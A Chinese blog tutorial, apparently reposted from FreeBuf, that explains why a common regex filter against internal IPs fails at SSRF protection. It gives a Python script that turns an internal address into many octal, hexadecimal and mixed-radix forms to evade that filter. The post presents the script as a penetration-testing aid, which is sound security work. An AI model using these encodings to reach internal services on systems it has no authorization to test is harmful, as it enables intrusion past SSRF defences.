前言
在开始本文之前,先来介绍一下相关内容,大家都知道一些防护SSRF漏洞的代码一般使用正则来判断访问IP是否为内部IP,比如下面这段网上比较常见的正则:
1
2
3
4
5
|
if re.match(r "^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$" , ip_address) or \ re.match(r "^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$" , ip_address) or \ re.match(r "^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$" , ip_address): raise Execption( "inner ip" ) |
很明显这个正则有很多问题,可以有多种方式绕过,比如
1. 利用八进制IP地址绕过
2. 利用十六进制IP地址绕过
3. 利用十进制的IP地址绕过
4. 各种进制组合形成的IP绕过
一般我们常见都是10进制表示的IP,其实系统是可以识别其他进制表示的IP,比如8进制,16进制,或者它们的组合
所以,我们在测试系统是否有SSRF漏洞的时候,有时候需要尝试各种进制的IP组合,看看是否能绕过系统的防护,于是就有了本文的这个小程序,用于自动生成各种进制形式的IP,以帮助我们进行安全测试,下面话不多说了,来一起看看详细的介绍:
实例源码
程序代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
|
#!/usr/bin/env python # -*- coding:utf8 -*- """ 各种进制的IP表示及其它们的组合 """ import socket import struct import itertools def ip_split_by_comma_oct(ip): """ :param ip: :return: """ parsed_result = set () ip_split = str (ip).split( '.' ) ip_split_oct = [ oct ( int (_)) for _ in ip_split] parsed_result.add( '.' .join(ip_split_oct)) return parsed_result def ip_split_by_comma_hex(ip): """ :param ip: :return: """ parsed_result = set () ip_split = str (ip).split( '.' ) ip_split_hex = [ hex ( int (_)) for _ in ip_split] parsed_result.add( '.' .join(ip_split_hex)) return parsed_result def combination_oct_int_ip(ip): """ :param ip: :return: """ result = set () parsed_result = set () ip_split = str (ip).split( '.' ) oct_2 = list (itertools.combinations([ 0 , 1 , 2 , 3 ], 2 )) oct_3 = list (itertools.combinations([ 0 , 1 , 2 , 3 ], 3 )) for n, _ in enumerate (ip_split): _tmp = oct ( int (_)) _delete = ip_split[:n] + ip_split[n + 1 :] _delete.insert(n, _tmp) result.add( tuple (_delete)) for _ in oct_2: _tmp_ip = ip_split[:] _tmp1 = oct ( int (ip_split[_[ 0 ]])) _tmp2 = oct ( int (ip_split[_[ 1 ]])) del _tmp_ip[_[ 0 ]] del _tmp_ip[_[ 1 ] - 1 ] _tmp_ip.insert(_[ 0 ], _tmp1) _tmp_ip.insert(_[ 1 ], _tmp2) result.add( tuple (_tmp_ip)) for _ in oct_3: _tmp_ip = ip_split[:] _tmp1 = oct ( int (ip_split[_[ 0 ]])) _tmp2 = oct ( int (ip_split[_[ 1 ]])) _tmp3 = oct ( int (ip_split[_[ 2 ]])) del _tmp_ip[_[ 0 ]] del _tmp_ip[_[ 1 ] - 1 ] del _tmp_ip[_[ 2 ] - 2 ] _tmp_ip.insert(_[ 0 ], _tmp1) _tmp_ip.insert(_[ 1 ], _tmp2) _tmp_ip.insert(_[ 2 ], _tmp3) result.add( tuple (_tmp_ip)) for _ in result: parsed_result.add( '.' .join(_)) return parsed_result def combination_hex_int_ip(ip): """ :param ip: :return: """ result = set () parsed_result = set () ip_split = str (ip).split( '.' ) hex_2 = list (itertools.combinations([ 0 , 1 , 2 , 3 ], 2 )) hex_3 = list (itertools.combinations([ 0 , 1 , 2 , 3 ], 3 )) for n, _ in enumerate (ip_split): _tmp = hex ( int (_)) _delete = ip_split[:n] + ip_split[n + 1 :] _delete.insert(n, _tmp) result.add( tuple (_delete)) for _ in hex_2: _tmp_ip = ip_split[:] _tmp1 = hex ( int (ip_split[_[ 0 ]])) _tmp2 = hex ( int (ip_split[_[ 1 ]])) del _tmp_ip[_[ 0 ]] del _tmp_ip[_[ 1 ] - 1 ] _tmp_ip.insert(_[ 0 ], _tmp1) _tmp_ip.insert(_[ 1 ], _tmp2) result.add( tuple (_tmp_ip)) for _ in hex_3: _tmp_ip = ip_split[:] _tmp1 = hex ( int (ip_split[_[ 0 ]])) _tmp2 = hex ( int (ip_split[_[ 1 ]])) _tmp3 = hex ( int (ip_split[_[ 2 ]])) del _tmp_ip[_[ 0 ]] del _tmp_ip[_[ 1 ] - 1 ] del _tmp_ip[_[ 2 ] - 2 ] _tmp_ip.insert(_[ 0 ], _tmp1) _tmp_ip.insert(_[ 1 ], _tmp2) _tmp_ip.insert(_[ 2 ], _tmp3) result.add( tuple (_tmp_ip)) for _ in result: parsed_result.add( '.' .join(_)) return parsed_result def combination_hex_int_oct_ip(ip): """ :param ip: :return: """ result = set () parsed_result = set () ip_split = str (ip).split( '.' ) hex_3 = list (itertools.combinations([ 0 , 1 , 2 , 3 ], 3 )) for n1, n2, n3 in hex_3: _tmp_ip = ip_split[:] _tmp_2 = oct ( int (_tmp_ip[n2])) _tmp_3 = hex ( int (_tmp_ip[n3])) del _tmp_ip[n2] del _tmp_ip[n3 - 1 ] _tmp_ip.insert(n2, _tmp_2) _tmp_ip.insert(n3, _tmp_3) result.add( tuple (_tmp_ip)) for _ in result: parsed_result.add( '.' .join(_)) return parsed_result if __name__ = = '__main__' : ip = '10.1.100.1' ip_int = struct.unpack( '!L' , socket.inet_aton(ip))[ 0 ] ip_oct_no_comma = oct (ip_int) ip_hex_no_comma = hex (ip_int) ip_oct_by_comma = ip_split_by_comma_oct(ip) ip_hex_by_comma = ip_split_by_comma_hex(ip) all_result = ip_oct_by_comma | ip_hex_by_comma | combination_oct_int_ip(ip) | combination_hex_int_ip(ip) | combination_hex_int_oct_ip(ip) for _ip in all_result: print _ip |
代码很容易看懂,首先生成纯8进制表示的IP、纯16进制表示的IP,然后在分别生成10进制和8进制混合组成的IP,16进制和10进制混合组成的IP, 16进制8进制10进制混合组成的IP,最后输出各种组合的结果
在使用其他脚本或者工具遍历测试这个脚本的结果,看看是否能绕过SSRF的防护
部分截图:
比如生成10.1.100.1 这个IP的其他各种进制形式:
总结
工具虽然简单,但却能给我们的渗透测试带来方便,其实工作中有很多可以总结沉淀的地方,都可以形成工具化,不仅能方便以后工作,还能有助于我们知识的沉淀,加快我们自身实力提升。也希望大家以后也能多多分享。
好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对服务器之家的支持。
原文链接:http://www.freebuf.com/sectool/140982.html